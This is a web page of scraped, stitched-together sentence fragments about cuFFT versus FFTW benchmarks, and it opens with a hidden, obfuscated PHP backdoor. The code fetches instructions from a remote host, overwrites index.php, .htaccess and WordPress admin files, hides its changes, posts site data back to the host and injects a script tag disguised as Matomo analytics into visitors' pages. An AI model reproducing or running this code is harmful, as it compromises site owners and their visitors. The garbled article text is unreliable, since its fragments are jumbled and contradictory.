<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?>
<!DOCTYPE html>
<html style="" lang="en">
<head>
<!-- Ads Enabled Test --><!-- End Ads Enabled Test --><!-- Google Tag Manager --><!-- End Google Tag Manager --><!-- Favicon -->
        
        
        
        
         
        
        
  <title>Cufft vs fftw benchmark</title>
  <meta name="description" content="Cufft vs fftw benchmark">
 
  <meta name="viewport" content="width=device-width, initial-scale=1">

         
</head>


    <body>

        <!-- Google Tag Manager (noscript) -->
        
 

        <!-- End Google Tag Manager (noscript) -->
        
<div class="pages-wrapper">
            
<div class="site-header-container">
    
<div class="header-row-content">
        
<div class="center-content">
            
<div class="header-hamburger pointer" id="header-hamburger-button">
                <span class="fa-svg" icon="bars"></span>
            </div>

            
<div class="header-logo">
                
                    <img class="logo large" src="/images/logo/" alt="GameLeap Logo" loading="lazy" decoding="async" height="20" width="173">
                    <img class="logo small" src="/images/logo/" alt="GameLeap Logo" loading="lazy" decoding="async" height="20" width="23">
                

                
<div class="header-main-routes">
                    

                    
<div class="header-route-item">
                        <span class="route-item-title">
                            <span>Home</span>
                        </span>
                    </div>


                    

                    
<div class="header-route-item">
                        <span class="route-item-title">
                            <span>Courses</span>
                        </span>
                    </div>


                    

                    
<div class="header-route-item">
                        <span class="route-item-title">
                            <span>Videos</span>
                        </span>
                    </div>


                    

                    
<div class="header-route-item">
                        <span class="route-item-title">
                            <span>Guides</span>
                        </span>
                    </div>


                    

                    
<div class="header-route-item">
                        <span class="route-item-title">
                            <span>News</span>
                        </span>
                    </div>


                    
                </div>

            </div>


            
<div class="header-action-buttons">
                
<div class="header-search-bar">
                    
<div class="header-search-bar-wrap">

                        
<form class="input-field-form-container">
                            
  <div class="input-container">
                                <a id="header-search-input-button" aria-label="Submit" type="submit" class="form-submit-button">
                                    <span slot="icon" class="fa-svg" icon="magnifying-glass"></span>
                                </a>
                                <input id="header-search-input" class="input-field icon" placeholder="Search" type="text">
                            </div>

                        </form>



                    </div>

                    
<div class="header-search-results-wrap" style="display: none;">
                        
<div class="search-result-item preview">
                            
<div class="result-item-icon">
                                <span class="fa-svg" icon="magnifying-glass"></span>
                            </div>

                            
<div class="result-item-title">
                                Search
                            </div>

                        </div>

                    </div>

                </div>


                
<div class="header-search-button pointer">
                    
                        <span class="fa-svg" id="headerSearchInputButton" icon="magnifying-glass"></span>&nbsp;</div>
</div>
</div>
</div>
</div>
<div id="article-page-wrapper-outer" class="main-content-wrapper">
<div class="inner-content-wrapper">
<div class="content-section" style="margin-top: 10px; margin-bottom: 40px;">
<div class="content-section-wrapper" style="">
<div class="article-page-wrapper">
<div id="page-wrapper-inner"><section class="headline-wrapper"><header class="headline-container"></header></section>
<div>
                                    
<h1 class="headline">Cufft vs fftw benchmark</h1>

                                    
<h2 class="subheadline"><br>
</h2>

                                </div>

                                
<div class="article-meta-container">
                                    <span class="date article-published-at-date">Cufft vs fftw benchmark. .  My fftw example uses the real2complex functions to perform the fft.  This assumes of course that you&rsquo;re doing the same size and type (C2C, C2R, etc.  The inputs are all the same.  Single 1D FFTs might not be that much faster, unless you do many of them in a batch.  It consists of two separate libraries: cuFFT and cuFFTW.  If you want to achieve maximum performance, you may need to use cuFFT natively, for example so that you can explicitly manage data movement.  The cuFFT library is designed to provide high performance on NVIDIA GPUs. x or Intel&rsquo;s FFT on 20^3 (16^3, 24^3) Complex-To-Real and Real-To-Complex transforms.  The CUDA is single precision, others are double.  Benchmark scripts to compare processing speed between FFTW and cuFFT - moznion/fftw-vs-cufft FFT Benchmark Results.  FFTW Group at University of Waterloo did some benchmarks to compare CUFFT to FFTW.  For example, I modified the test program to skip destruction of the cuFFT handles and then executed the tests in a different sequence: method 1, method 2, then method 2 and method 1 again.  FFT Benchmark Results. 2 times longer than for the ESSL library.  FFTs are also efficiently evaluated on GPUs, and the CUDA runtime library cuFFT can be used to calculate FFTs.  Nov 7, 2013 · Hence performance is best on AMD GPUs with AMD OpenCL runtime. exe -d 0 -o output.  The relative performance will depend on the data size, the processing pipeline, and hardware. txt -vkfft 0 -cufft 0 For double precision benchmark, replace -vkfft 0 -cufft 0 with -vkfft 1 In fftw terminology, wisdom is a data structure representing a more or less optimized plan for a given transform.  On an NVIDIA GPU, we obtained performance of up to 300 GFlops, with typical performance improvements of 2&ndash;4&times; over CUFFT and 8&ndash;40&times; improvement over MKL for large sizes.  The matrix is 12 rows x 8 cols and each element is a 4-float vector, and the transform is real to complex. &#92;VkFFT_TestSuite.  Jul 18, 2010 · Benchmarking CUFFT against FFTW, I get speedups from 50- to 150-fold, when using CUFFT for 3D FFTs.  Jul 19, 2013 · The most common case is for developers to modify an existing CUDA routine (for example, filename.  cuFFT and clFFT follow this API mostly, only discarding the plan This setup time is measured separately from the FFT performance below, but only as a rough indicator; no attempt is made to perform repeated measurements or to make our initialization preparations as efficient as possible.  cuFFT provides a simple configuration mechanism called a plan that uses internal building blocks to optimize the transform for the given Mar 6, 2008 · It would be better for you to set up the plan outside of this FFT call once and reuse that plan instead of creating a new one every time you want to do an FFT.  The results show that CUFFT based on GPU has a better comprehensive performance than FFTW.  As an aside - I never have been able to get exactly matching results in the intermediate steps between FFTW and CUFFT.  Second, we measure the FFT performance by performing repeated FFTs of the same zero-initialized array.  Accessing cuFFT; 2. 6 GHz Pentium M (Banias), GNU Here I compare the performance of the GPU and CPU for doing FFTs, and make a rough estimate of the performance of this system for coherent dedispersion.  cuFFT provides a simple configuration mechanism called a plan that uses internal building blocks to optimize the transform for the given configuration and the Oct 23, 2022 · I am working on a simulation whose bottleneck is lots of FFT-based convolutions performed on the GPU.  This early-access preview of the cuFFT library contains support for the new and enhanced LTO-enabled callback routines for Linux and Windows.  Hardware. 06 GHz PowerPC 7447A, gcc-3.  Maybe you could provide some more details on your benchmarks.  Performance comparison between cuFFTDx and cuFFT convolution_performance NVIDIA H100 80GB HBM3 GPU results is presented in Fig.  -test: (or no other keys) launch all VkFFT and cuFFT benchmarks So, the command to launch single 